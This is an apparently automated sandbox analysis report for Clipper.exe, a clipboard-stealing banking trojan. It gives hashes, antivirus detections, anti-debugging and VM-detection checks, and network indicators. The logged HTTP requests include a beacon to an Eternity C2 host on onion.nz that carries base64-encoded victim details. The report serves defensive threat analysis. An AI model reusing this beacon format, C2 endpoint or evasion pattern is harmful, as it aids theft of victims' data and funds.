Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Sept. 23, 2023, 9:44 a.m.	Sept. 23, 2023, 9:46 a.m.

Size	36.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`a8336c9284c9ef94e43c872a9d851745`
SHA256	`160ffdb97712c84d3e7dca1e26924d48cd92afb6c21665df8912cae81cc91d9b`
CRC32	`FDAC7D24`
ssdeep	`768:qn3vh2w5xJC2KnNfV8od6cZT5pRkLAgSbX6z:q3vtjaVF5p6LQqz`
Yara	PE_Header_Zero - PE File Signature IsPE32 - (no description) Is_DotNET_EXE - (no description)

Clipper.exe "C:\Users\test22\AppData\Local\Temp\Clipper.exe"
3020

Name	Response	Post-Analysis Lookup
onion.nz	A 172.67.186.198 A 104.21.19.150	104.21.19.150
ip-api.com	A 208.95.112.1	208.95.112.1
eternityms33k74r7iuuxfda4sqsiei3o3lbtr5cpalf6f4skszpruad.onion.nz	A 172.67.186.198 A 104.21.19.150	104.21.19.150

IP Address	Status	Action
104.21.19.150	Active	Moloch
164.124.101.2	Active	Moloch
172.67.186.198	Active	Moloch
208.95.112.1	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49165 -> 172.67.186.198:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49161 -> 208.95.112.1:80	2022082	ET POLICY External IP Lookup ip-api.com	Device Retrieving External IP Address Detected
TCP 192.168.56.102:49167 -> 104.21.19.150:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49164 -> 172.67.186.198:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLS 1.2 192.168.56.102:49165 172.67.186.198:443	None	None	None
TLS 1.2 192.168.56.102:49167 104.21.19.150:443	C=US, O=Google Trust Services LLC, CN=GTS CA 1P5	CN=onion.nz	70:fa:ea:d9:ee:dd:cf:50:60:c4:80:dc:da:8d:3d:7f:e3:55:3a:b1
TLS 1.2 192.168.56.102:49164 172.67.186.198:443	C=US, O=Google Trust Services LLC, CN=GTS CA 1P5	CN=onion.nz	70:fa:ea:d9:ee:dd:cf:50:60:c4:80:dc:da:8d:3d:7f:e3:55:3a:b1

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Sept. 23, 2023, 9:42 a.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 23, 2023, 9:42 a.m.			0	0
IsDebuggerPresent Sept. 23, 2023, 9:42 a.m.			0	0

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 23, 2023, 9:42 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header

suspicious_request

GET http://ip-api.com/line?fields=query,country,city

Performs some HTTP requests (4 events)

request	GET http://ip-api.com/line?fields=query,country,city
request	GET http://eternityms33k74r7iuuxfda4sqsiei3o3lbtr5cpalf6f4skszpruad.onion.nz/clp/7c418373ff8d4e30b27ec3685695bf8a?install=1&wallets=&user=dGVzdDIy&comp=VEVTVDIyLVBD&ip=MTc1LjIwOC4xMzQuMTUy&country=U291dGggS29yZWE%3D&city=U29uZ3BhLWd1
request	GET https://eternityms33k74r7iuuxfda4sqsiei3o3lbtr5cpalf6f4skszpruad.onion.nz/clp/7c418373ff8d4e30b27ec3685695bf8a?install=1&wallets=&user=dGVzdDIy&comp=VEVTVDIyLVBD&ip=MTc1LjIwOC4xMzQuMTUy&country=U291dGggS29yZWE%3D&city=U29uZ3BhLWd1
request	GET https://onion.nz/onion-site-connection-error/

Allocates read-write-execute memory (usually to unpack itself) (26 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 1835008 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00740000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73d91000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73d92000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 2031616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02090000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02240000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00572000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0058c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01eb0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01eb1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01eb2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00596000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0059a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00597000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01eb3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01eb4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01eb5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0058a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:42 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0059b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 23, 2023, 9:43 a.m.	process_identifier: 3020 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6ff52000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 23, 2023, 9:43 a.m.	process_identifier: 3020 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01eb6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Looks up the external IP address (1 event)

domain

ip-api.com

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Sept. 23, 2023, 9:42 a.m.	flags: 15 family: 0		111	0

Connects to Tor Hidden Services through a Tor gateway (1 event)

domain

eternityms33k74r7iuuxfda4sqsiei3o3lbtr5cpalf6f4skszpruad.onion.nz

File has been identified by 50 AntiVirus engines on VirusTotal as malicious (50 events)

Bkav	W32.Common.7DAC3C30
Lionic	Trojan.Win32.ClipBanker.Z!c
MicroWorld-eScan	Trojan.GenericKD.68494147
FireEye	Generic.mg.a8336c9284c9ef94
ALYac	Trojan.GenericKD.68494147
Malwarebytes	Trojan.Clipper
Zillya	Trojan.ClipBanker.Win32.16897
Sangfor	Suspicious.Win32.Save.a
K7AntiVirus	Riskware ( 0040eff71 )
BitDefender	Trojan.GenericKD.68494147
K7GW	Riskware ( 0040eff71 )
BitDefenderTheta	Gen:NN.ZemsilF.36722.cm0@aOCkDEe
Cyren	W32/ABRisk.DURV-2963
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
APEX	Malicious
Cynet	Malicious (score: 100)
Kaspersky	HEUR:Trojan-Banker.MSIL.ClipBanker.gen
Alibaba	TrojanBanker:MSIL/AgentTesla.13106a96
ViRobot	Trojan.Win.Z.Agent.37376.GRY
Rising	Trojan.AgentTesla!8.104D5 (CLOUD)
Sophos	Mal/Generic-S
F-Secure	Trojan.TR/Tesla.ybjxn
VIPRE	Trojan.GenericKD.68494147
TrendMicro	TROJ_GEN.R023C0DH623
McAfee-GW-Edition	BehavesLike.Win32.Generic.nm
Trapmine	malicious.moderate.ml.score
Emsisoft	Trojan.GenericKD.68494147 (B)
Ikarus	Trojan-Spy.AgentTesla
GData	Trojan.GenericKD.68494147
Jiangmin	Trojan.Banker.MSIL.hoz
Webroot	W32.Trojan.GenKD
Avira	TR/Tesla.ybjxn
Antiy-AVL	Trojan/MSIL.AgentTesla
Arcabit	Trojan.Generic.D4152343
ZoneAlarm	HEUR:Trojan-Banker.MSIL.ClipBanker.gen
Microsoft	Trojan:MSIL/AgentTesla.ESL!MTB
Google	Detected
AhnLab-V3	Trojan/Win.AgentTesla.C5466347
MAX	malware (ai score=89)
DeepInstinct	MALICIOUS
Cylance	unsafe
Panda	Trj/Chgt.AD
TrendMicro-HouseCall	TROJ_GEN.R023C0DH623
Tencent	Malware.Win32.Gencirc.13ebb7ed
SentinelOne	Static AI - Suspicious PE
Fortinet	MSIL/Agent.EBS!tr.spy
AVG	Win32:BankerX-gen [Trj]
Avast	Win32:BankerX-gen [Trj]
CrowdStrike	win/malicious_confidence_100% (W)

Clipper.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All